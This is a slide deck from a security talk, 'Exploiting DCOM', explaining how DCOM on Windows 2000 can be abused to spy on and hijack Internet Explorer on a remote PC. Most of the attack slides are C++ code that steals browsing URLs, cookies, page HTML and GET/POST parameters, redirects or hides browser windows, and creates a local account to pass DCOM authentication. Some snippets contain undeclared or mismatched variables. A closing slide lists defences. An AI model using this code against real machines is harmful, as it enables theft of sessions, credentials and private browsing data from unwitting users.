Exploiting DCOM

Yoshiaki Komoriya
Soap@securityfriday.com

Hidenobu Seki
Uurity@securityfriday.com
Agenda

- COM and DCOM technology
- IE exploit demonstration
- Exploit code
- Authentication
- MS-Word exploit demonstration
- DCOM exploit prevention
Agenda

- COM and DCOM technology
- IE exploit demonstration
- Exploit code
- Authentication
- MS-Word exploit demonstration
- DCOM exploit prevention
Distributed COM

- Application-level protocol for object-oriented remote procedure call.
- For constructing applications on distributed computing environment.
- DCOM is a seamless evolution of COM according to Microsoft.
COM technology

- Components oriented programming model of Microsoft.
- Can develop reusable programs by using COM.
COM model

Client Program

Interface

COM components
Distributed apps by using DCOM
DCOM model

Local PC

DCOM Runtime

Client Program

Remote PC

DCOM Runtime

DCOM Protocol

COM component

network
DCOM runtime

- Installed by default
  - Windows XP, 2k, (98, Me)
- Not installed by default
  - Windows NT

But installed with other apps (ex. IE)
DCOMCNFG.exe

- DCOM Configuration Tool
- View installed DCOM-enable applications list.
List of DCOM-enabled apps

DCOM-enabled apps:

- Defrag FAT engine
- Defrag NTFS engine
- Event Object Change
- HTML Application
- Image Document
- Internet Explorer (Ver 1.0)
- logagent
- Logical Disk Manager Administrative Service
- Logical Disk Manager Remote Client
- Media Player
- MediaCatalogDB OLE DB Provider
- Microsoft Agent Server 2.0
- Microsoft Clip Organizer
- Microsoft Excel Application
- Microsoft Graph Application
- Microsoft PowerPoint Presentation
- Microsoft WBEM Active Scripting Event Consumer Provider
- Microsoft WBEM Server
- Microsoft WBEM Unsecured Apartment
Windows Built-in DCOM Apps

- Internet Explorer
- Windows media player
- Windows Scripting Host
- Sound recorder
- WordPad

and more...
Other Applications

◆ Word
◆ Excel
◆ Outlook
◆ PowerPoint

and more...
COM components on Windows

Windows has many COM components.

Registered under "\HKEY_CLASSES_ROOT\CLSID" on the registry.
COM components in Registry
Agenda

- COM and DCOM technology
- IE exploit demonstration
- Exploit code
- DCOM authentication
- MS-Word exploit demonstration
- DCOM exploit prevention
IE’en

- Original IE exploit tool
  - Steal IE’s data
  - Hijack IE

- Can download from www.securityfriday.com
IE’en

Local PC

Remote PC

- Browsing URLs
- Browsing contents and more...

- Create new window
- Change browsing page and more...

DCOM

network
Demonstration environment

- Local PC
  - Windows 2k Professional

- Remote PC
  - Windows 2k Professional (Default)
Agenda

- COM and DCOM technology
- IE exploit demonstration
- Exploit code
- Authentication
- MS-Word exploit demonstration
- DCOM exploit prevention
Exploit code

- Stealing IE’s data
- Hijacking IE
Exploit code

- Stealing IE’s data
- Hijacking IE
Stealing IE’s data

- Browsing URL lists
- Incoming data
  - Cookies
  - HTML contents
- Navigation events
  - Get parameters
  - Post Parameters
Stealing IE’s data

- Browsing URL lists
- Incoming data
  - Cookie
  - HTML
- Navigate events
  - Get parameters
  - Post Parameters
Browsing URL list

1. Activate “ShellWindows” component on remote PC.
2. Get “IDispatch” interfaces from “IShellWindows” interface.
3. Get “IWebBrowser2” interfaces from IDispatch interface.
4. Get browsing URL strings from IWebBrowser2.
Activate ShellWindows

// Initialize COM runtime
HRESULT hret = CoInitialize(NULL);

// Create COSERVERINFO structure contain remote PC IP
COSERVERINFO ServerInfo;
ServerInfo.dwReserved1 = 0;
ServerInfo.dwReserved2 = 0;
ServerInfo.pwszName = L"RemotePC";
ServerInfo.pAuthInfo = NULL;

// Get a “IShellWindows” interface from remote PC
MULTI_QI qi = {&IID_IShellWindows, NULL, 0};
hret = CoCreateInstanceEx(CLSID_ShellWindows, NULL,
CLSCTX_SERVER, &ServerInfo, 1,
&qi);
IShellWindows *windows = (IShellWindows*)qi.pItf;
Get IDispatch

// Get num of IE window by using IShellWindows
long nCount;
hret = windows->get_Count(&nCount);

for(long i = 0; i < nCount; ++i){

// Get IDispatch interfaces from IShellWindows
IDispatch *disp = NULL;
VARIANT va; VariantInit(&va);
V_VT(&va) = VT_I4; V_I4(&va) = i;
hret = windows->Item(va,&disp);
VariantClear(&va);
Get IWebBrowser2

// Get IWebBrowser2 interfaces from IDispatch
IWebBrowser2 *browser = NULL;
if(disp != NULL){
    hret = disp->QueryInterface(IID_IWebBrowser2,
                                (void**)&browser);
}

Get browsing URL strings

// Get browsing URL string
if(browser != NULL){
    BSTR url;
    hret = browser->get_LocationName(&url);
}
}
Stealing IE’s data

- Browsing URL list
- Incoming data
  - Cookie
  - HTML Contents
- Navigation events
  - Get parameters
  - Post Parameters
Incoming data

◆ cookie
  ✷ Get “IHTMLDocument2” interface from IWebBrowser2.
  ✷ Call “get_cookie” method of IHTMLDocument2.

◆ HTML
  ✷ Get “IHTMLElement” interface from IHTMLDocument2.
  ✷ Call “get_outerHTML” method of IHTMLElement.
Get cookie

// Get IHTMLDocument2 from IWebBrowser2
IDispatch *htmlDisp = NULL;
hret = browser->get_Document(&htmlDisp);
IHTMLDocument2 *doc = NULL;
if(htmlDisp != NULL){
    hret = htmlDisp->QueryInterface(IID_IHTMLDocument2,
    (void**)&doc);
}

// Call get_cookie method of IHTMLDocument2
if(theIHD != NULL){
    BSTR cookie;
    hret = doc->get_cookie(&cookie);
}
Get HTML

// Get IHTMLElement from IHTMLDocument2
IHTMLElement *element = NULL;
hret = doc->get_body(&element);

// Call get_outerHTML of IHTMLElement
if(element != NULL){
    BSTR html;
hret = element->get_outerHTML(&html);
}
Stealing IE’s data

- Browsing URL list
- Incoming data
  - Cookie
  - HTML Contents
- Navigation events
  - Get parameters
  - Post Parameters
Navigation events

- Client Program
  - Event Handler (Sink)
  - Navigation Events
- IE
Navigation events

1. Create event handler implementing “DWebBrowserEvents” interface.
2. Get “IConnectionPoint” interface through IWebBrowser2.
3. Advise IE where the event handler is by using IConnectionPoint.
# Members of DWebBrowserEvents

<table>
<thead>
<tr>
<th>Event</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>BeforeNavigate</td>
<td>CommandStateChange</td>
</tr>
<tr>
<td>DownloadBegin</td>
<td>DownloadComplete</td>
</tr>
<tr>
<td>NavigateComplete</td>
<td>NewWindow</td>
</tr>
<tr>
<td>OnQuit</td>
<td>ProgressChange</td>
</tr>
<tr>
<td>PropertyChange</td>
<td>StatusTextChange</td>
</tr>
<tr>
<td>TitleChange</td>
<td>WindowActivate</td>
</tr>
<tr>
<td>WindowMove</td>
<td>WindowResize</td>
</tr>
</tbody>
</table>
void BeforeNavigate(
    IDispatch* pDisp,
    VARIANT* &url, // the new URL to be navigate to
    VARIANT* &Flag,
    VARIANT* &TargetFrameName,
    VARIANT* &PostData,
    // the POST data to send to the new URL
    VARIANT* &Headers,
    VARIANT_BOOL* &Cancel
);
Get IConnectionPoint

IConnectionPointContainer* container;

hret = browse->QueryInterface(
    IID_IConnectionPointContainer,
    (void**)&container);

IConnectionPoint* point;

hret = container->FindConnectionPoint(
    IID_DWebBrowserEvents,
    &point);
Advise IE

Sink *sink = new Sink;
DWORD dwCookie;

hret = point->Advise(sink->GetIDispatch(false),
&dwCookie);
Hijacking IE

- Change browsing pages
- Make IE windows invisible
- Create new windows
Change browsing pages

BSTR newURL;
newURL = SysAllocString(L"http://www.yahoo.co.jp");
hret = browser->Navigate(newURL);
Make IE windows invisible

browser->put_Visible((VARIANT_BOOL)false);
Create new windows

COSERVERINFO ServerInfo2;
ServerInfo.dwReserved1 = 0;
ServerInfo.dwReserved2 = 0;
ServerInfo.pwszName = L"RemotePC";
ServerInfo.pAuthInfo = NULL;

MULTI_QI qi2 = {&IID_IWebBrowser2, NULL, 0};
hret = CoCreateInstanceEx(CLSID_InternetExplorer, NULL, CLSCTX_SERVER, &ServerInfo, 1, &qi);
IWebBrowser2 *browser2 = (IWebBrowser2*)qi2.pItf;
Agenda

- COM and DCOM technology
- IE exploit demonstration
- Exploit code
- Authentication
- MS-Word exploit demonstration
- DCOM exploit prevention
Authentication

- Component activation procedures
- Two steps of authentication
- Event handling & Authentication
- Exploit code
- Special case: XP
Authentication

- Component activation procedures
- Two steps of authentication
- Event handling & Authentication
- Exploit code
- Special case: XP
Component activation procedure

1. Local PC sends NTLMSSP_NEGOTIATE to SystemActivator on remote PC.
2. Remote PC sends NTLMSSP_CHALLENGE to local PC.
3. Local PC sends NTLMSSP_RESPONSE to remote PC.
4. Local PC sends request component’s CLSID to remote PC.
5. Remote PC checks two steps of authentication, then call back results.
Authentication

- Component activation procedure
- Two steps of authentication
- Event handling & Authentication
- Exploit code
- Special case: XP
Two steps of authentication

Remote PC

Client Program

Logon audit

DCOM authentication

Component
Logon audit 1/2

Remote PC

Client Program

Bill

Logon Audit

DCOM Authentication

Component

Joe
Zev
Mike
Logon audit 2/2

Remote PC

Client Program

Logon Audit

DCOM Authentication

Component

Joe
Zev
Mike
DCOM authentication

- Launch / Access control list
  Control launch / access permission
- "RunAs" parameter
  Account used to launch / access to components
DCOM authentication

Remote PC

Client Program

Logon Audit

RunAs Account

DCOM Authentication

Component

ACL
Default setting of DCOM authentication

- **Launch / Access control list**
  - SYSTEM, Administrators, INTERACTIVE

- **RunAs**
  - The launching user
Authentication

- Component activation procedure
- Two steps of authentication
- Event handling & Authentication
- Exploit code
- Special case: XP
Reverse authentication

Local PC

- Event handler
- DCOM Authentication
- Logon Audit
- Component
Authentication

- Component activation procedure
- Two steps of authentication
- Event handling & Authentication
- Exploit code
- Special case: XP
Exploit code

- Set an account on local PC.
- Create client process with new account's security context.
1. Set account on local PC

// Create USER_INFO_1 structure
USER_INFO_1 ui;
ui.usri1_name = "USERNAME";
ui.usri1_password = "PASSWORD";
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;

// Add new user to system
NetUserAdd(NULL, 1, (LPBYTE)&ui, NULL);
2. Create client process

PROCCESS_INFORMATION process;

STARTUPINFOW startup;
startup.dwFlags = STARTF_USESHOWWINDOW;
startup.wShowWindow = SW_SHOWNORMAL;

CreateProcessWithLogonW("USERNAME", NULL,
"PASSWORD", LOGON_NETCREDENTIALS_ONLY,
NULL, "EXPLOIT.exe", 0, NULL,
"CURRENTDIR", &startup, &process);
Special case: XP

- New security model.
- Cannot exploit with XP default setting.
Special case: XP

Remote PC

Client Program

A user

Logon Audit

DCOM Authentication

component

ACL

guest
Use classic security model
Agenda

- COM and DCOM technology
- IE exploit demonstration
- Exploit code
- Authentication
- MS-Word exploit demonstration
- DCOM exploit prevention
Demonstration environment

- **Local PC**
  - Windows 2k Professional

- **Remote PC**
  - Windows 2k Professional
Agenda

- COM and DCOM technology
- IE exploit demonstration
- Exploit code
- Authentication
- MS-Word exploit demonstration
- DCOM exploit prevention
DCOM exploit prevention

- Filter port 135.
- Disable DCOM.
- Use a strong password.
FAQ

Q: IE’en doesn’t work well on domain environment.
A: Latest version of IE’en works.

Q: Why is the alert message displayed when "Contents" box is clicked?
A: The system sometimes goes down. I think get_outerHTML method has a memory leak.

Q: Connection fails with “Class not registered” message.
A: Check the user name and password.
Reference

- **DCOM Technical Overview**

- **WebBrowser Control**

- **ShellWindows Object**

and others.